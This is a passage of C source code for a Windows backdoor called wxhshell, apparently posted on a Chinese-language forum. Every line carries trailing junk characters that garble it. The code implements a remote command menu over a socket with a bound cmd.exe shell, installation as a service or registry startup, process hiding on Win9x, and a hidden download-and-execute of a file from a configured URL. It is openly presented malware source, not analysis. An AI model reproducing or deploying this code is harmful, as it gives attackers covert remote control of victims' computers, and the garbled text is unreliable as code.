  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vpt)?];P  
  } u ?7(A %  
  else { sT[)r]`T  
xoTS?7  
    switch(cmd[0]) { l:a+o gm3  
  miCt)Qd  
  // 帮助 k sJz44  
  case '?': { )@Z J3l.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;j-@ $j  
    break; U/>f" F  
  } T[N:X0  
  // 安装 T3[\;ib}  
  case 'i': { +hpXMO%?  
    if(Install()) lJ3/^Htn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i5?)E7-  
    else }pbyC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {q~Bss{z  
    break; (?J6vK}S  
    } Cc0`Ylx~(  
  // 卸载 x1Q}B   
  case 'r': { }Y(Q7l  
    if(Uninstall()) N6c']!aM@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :4}?%3&;  
    else YPDc /  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?1xBhKq  
    break; 3P6pQm'.f  
    } F@kOj*5,[  
  // 显示 wxhshell 所在路径 U# ueG  
  case 'p': { d@b0z$<s  
    char svExeFile[MAX_PATH]; tE]g*]o  
    strcpy(svExeFile,"\n\r"); ,ZJI]Q=!  
      strcat(svExeFile,ExeFile); COOazXtW  
        send(wsh,svExeFile,strlen(svExeFile),0); )F0 _V 4  
    break; 'X_iiR8n@p  
    }  @zEEX9U  
  // 重启 DdJxb{y7  
  case 'b': { z_*]joL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?;0=>3p*0  
    if(Boot(REBOOT)) g:q+.6va"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n>Y3hY  
    else { uTpKT7t  
    closesocket(wsh); 79~,KFct  
    ExitThread(0); I}p uN!  
    } yv 9~  
    break; d0>V^cB'?  
    } ~=Z&l  
  // 关机 n4 KiC!*i0  
  case 'd': { -WB? hmx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QBR9BR  
    if(Boot(SHUTDOWN)) G-G!c2o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z_iu^ Q  
    else { #-'=)l}i1A  
    closesocket(wsh); i 6kW"5t  
    ExitThread(0); iVd*62$@$  
    } MnO,Cd6{%d  
    break; +o?.<[>!GR  
    } C(3yJzg>y  
  // 获取shell `-D6:- ,w  
  case 's': { f/Grem  
    CmdShell(wsh); NO +j    
    closesocket(wsh); Uey.@2Q  
    ExitThread(0); UY5ia4_D  
    break; @@*->  
  } fg8V6FS  
  // 退出 6^ wg'u]c  
  case 'x': { la8se=^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 76c4~IG#  
    CloseIt(wsh); +AZ=nMgW  
    break; ,M>W)TSH  
    } H'<9;bD -  
  // 离开 Qf414 oW  
  case 'q': { Nn ?BD4i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  s+[_5n~  
    closesocket(wsh); k)[}3oq  
    WSACleanup(); en=Z[ZIPO  
    exit(1); !Wvzum@5D  
    break; =gGK243  
        } (u]ft]z,-B  
  } HoT5 5v!o  
  } u z ` H  
*-ZD-B*?  
  // 提示信息 7\"-<z;kK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >RHK6c  
} e[i&2mM  
  } Bo`fy/x#  
go]d+lhFB  
  return; |^S[Gr w  
} gET& +M   
L-Xd3RCD  
// shell模块句柄 Fz?ON1\  
int CmdShell(SOCKET sock) Nk3 ]<#$  
{ Y">Q16(  
STARTUPINFO si; Xr :"8FT  
ZeroMemory(&si,sizeof(si)); N ]}Re$5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X-3L4@T:?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C]W VH\P p  
PROCESS_INFORMATION ProcessInfo; (*/P~$xIj  
char cmdline[]="cmd"; s$C;31k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9$~D4T  
  return 0; {Xwin $C  
} 1;fs`k0p  
(8GJLs 8  
// 自身启动模式 %N/I;`  
int StartFromService(void) kX'1.<[  
{ _( w4\]  
typedef struct h"l{cDk  
{ KofjveOiC  
  DWORD ExitStatus; KFA B  
  DWORD PebBaseAddress; E-X-LR{CC  
  DWORD AffinityMask; \Wt&z,  
  DWORD BasePriority; F` J(+  
  ULONG UniqueProcessId; x4*8q/G=D  
  ULONG InheritedFromUniqueProcessId; S?r:=GS  
}   PROCESS_BASIC_INFORMATION; ]}ff*W  
b=F"  
PROCNTQSIP NtQueryInformationProcess; A!Ng@r  
`*KS` z?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >6 :slNM#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bLCrh(<  
~SV;"e2N.  
  HANDLE             hProcess;  *X*D, VY  
  PROCESS_BASIC_INFORMATION pbi; +P~zn=  
O~">-'f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); klT6?'S  
  if(NULL == hInst ) return 0; aMm`G}9n  
2YuaPq/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2EG"xA5%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ] X%bU*4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )09_CC!a  
ksu:RJ-  
  if (!NtQueryInformationProcess) return 0; `WWf?g  
4yQ4lU,r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W;~^3Hz6  
  if(!hProcess) return 0; p&Nw:S  
Kl(}s{YFn.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]K XknEaxl  
M[<O]p6  
  CloseHandle(hProcess); t^8#~o!%  
RZOk.~[v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J-Sf9^G  
if(hProcess==NULL) return 0; '! yyg#  
b2U[W#  
HMODULE hMod; `"GD'Oa  
char procName[255]; (cC5zv*E  
unsigned long cbNeeded; fN0D\Mu!)b  
Gg5vf]VFo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?B@hCd)  
9tl Fbu  
  CloseHandle(hProcess); lDMYDy{<  
i;6\tK"!  
if(strstr(procName,"services")) return 1; // 以服务启动 pRMM1&H  
=\CbX  
  return 0; // 注册表启动 9nM {x?  
} "D3JdyO_S  
S _ nTp)  
// 主模块 A.35WGu&:  
int StartWxhshell(LPSTR lpCmdLine)  gxU(&  
{ ]Y;$~qQ  
  SOCKET wsl; q69a-5q  
BOOL val=TRUE; eZ}FKg%2[  
  int port=0; G<Lm}  
  struct sockaddr_in door; xs.[]>nQN  
kwWO1=ikz@  
  if(wscfg.ws_autoins) Install(); _AVCh)Zb  
FuEHO6nx  
port=atoi(lpCmdLine); cTRCQ+W6:  
pC5-,Z;8  
if(port<=0) port=wscfg.ws_port; IEC:zmkn  
eHqf3f   
  WSADATA data; yQou8P=%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cv#H  
JN|<R%hy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o<V-gS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g](m& O  
  door.sin_family = AF_INET; '\_ic=&u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #GWQ]r?  
  door.sin_port = htons(port); [POy" O  
KxJJ?WyM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $?*+P``  
closesocket(wsl); Sn0?_vH4  
return 1; 35&&*$Jm  
} M{~eI  
>V;<K?5B`W  
  if(listen(wsl,2) == INVALID_SOCKET) { t{?_]2vl  
closesocket(wsl); @M,KA {e  
return 1; Rw$ @%o%  
} [K"v)B'  
  Wxhshell(wsl); >!bYuVHA  
  WSACleanup(); U$Ew,v<  
>D-$M_  
return 0; <a$cB+t  
YRC`2)_'  
} NA0hQGN}  
ry7(V:ic  
// 以NT服务方式启动 z,2m7C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Dt r'X@U  
{ 5O*+5n  
DWORD   status = 0; i>!f|<  
  DWORD   specificError = 0xfffffff; vP,WV9Q1u  
*}mtVa_|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _10#rucr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J4S2vBe16  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 78 UT]<Q;K  
  serviceStatus.dwWin32ExitCode     = 0; J~c]9t  
  serviceStatus.dwServiceSpecificExitCode = 0; <D&75C#  
  serviceStatus.dwCheckPoint       = 0; g2iSc  
  serviceStatus.dwWaitHint       = 0; (AwbZn*  
*&5G+d2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8, B9y D  
  if (hServiceStatusHandle==0) return; Nc;7KMOIA  
](Sp0t  
status = GetLastError(); P!]DV$o  
  if (status!=NO_ERROR) 8,['q~z  
{ FEdyh?$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c)E'',-J_2  
    serviceStatus.dwCheckPoint       = 0; j&44wuf  
    serviceStatus.dwWaitHint       = 0; B\<zU  
    serviceStatus.dwWin32ExitCode     = status; E )Hp.  
    serviceStatus.dwServiceSpecificExitCode = specificError; wHIS}OONz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u$a%{46  
    return; 'i`;Frmg  
  } y<;#*wB  
{ifYr(|p`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l@Ml8+  
  serviceStatus.dwCheckPoint       = 0; ryPz?Aw(4  
  serviceStatus.dwWaitHint       = 0; Ay56@_d2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i<@|+*>M  
} M4DRG%21  
L[O+9Yh  
// 处理NT服务事件,比如:启动、停止 -2Ub'*qK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C w$y  
{ K-#Rm%J+Wy  
switch(fdwControl) lI&0 V5  
{ T1e}WJbFE  
case SERVICE_CONTROL_STOP: RrRCT.+E  
  serviceStatus.dwWin32ExitCode = 0; zL7+HY* 3o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S B'.   
  serviceStatus.dwCheckPoint   = 0; 2QBq  
  serviceStatus.dwWaitHint     = 0; X1" `0r3  
  { x$A5Ved  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8E$KR:/:4  
  } A4SM@ry  
  return; O #0:6QX  
case SERVICE_CONTROL_PAUSE: UQhfR}(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Hi|Oeu  
  break; U` bvv'38#  
case SERVICE_CONTROL_CONTINUE: .m+KXlP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YE0s5bB6  
  break; ggbew6L$Z  
case SERVICE_CONTROL_INTERROGATE: {@C+Js5  
  break; R%5\1!Fl=G  
}; ' ;$2j~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vB#3jI  
} ? ZN8Ku  
%Rg84tz  
// 标准应用程序主函数 <0lfkeD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rb,&i1  
{ *8MU,6  
b$M? _<G  
// 获取操作系统版本 .@xwl}o$OL  
OsIsNt=GetOsVer(); Zcf?4{Kd?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O'j;"l~H|  
y]@_DL#J=  
  // 从命令行安装 $TR[SMj  
  if(strpbrk(lpCmdLine,"iI")) Install(); tq1h1  
0p~:fm  
  // 下载执行文件 #V~r@,  
if(wscfg.ws_downexe) { bup;4~g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ig S.U  
  WinExec(wscfg.ws_filenam,SW_HIDE); O":x$>'t  
} 3+(Fq5I  
_-&Au%QNJ`  
if(!OsIsNt) { RdvJA:;q  
// 如果时win9x,隐藏进程并且设置为注册表启动 Zcdt\;HKr  
HideProc(); w3B*%x)  
StartWxhshell(lpCmdLine); 0HF",:yl  
} LQR9S/?Ld  
else p+yU!Qj  
  if(StartFromService()) tn:9  
  // 以服务方式启动 69CH W&  
  StartServiceCtrlDispatcher(DispatchTable); V! ~uGf  
else W;,Jte<'Nm  
  // 普通方式启动 KcY 2lTvx  
  StartWxhshell(lpCmdLine); jaNkWTm :  
))Aj X  
return 0; j!jZJD  
}
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只看该作者 1 发表于: 2006-10-10
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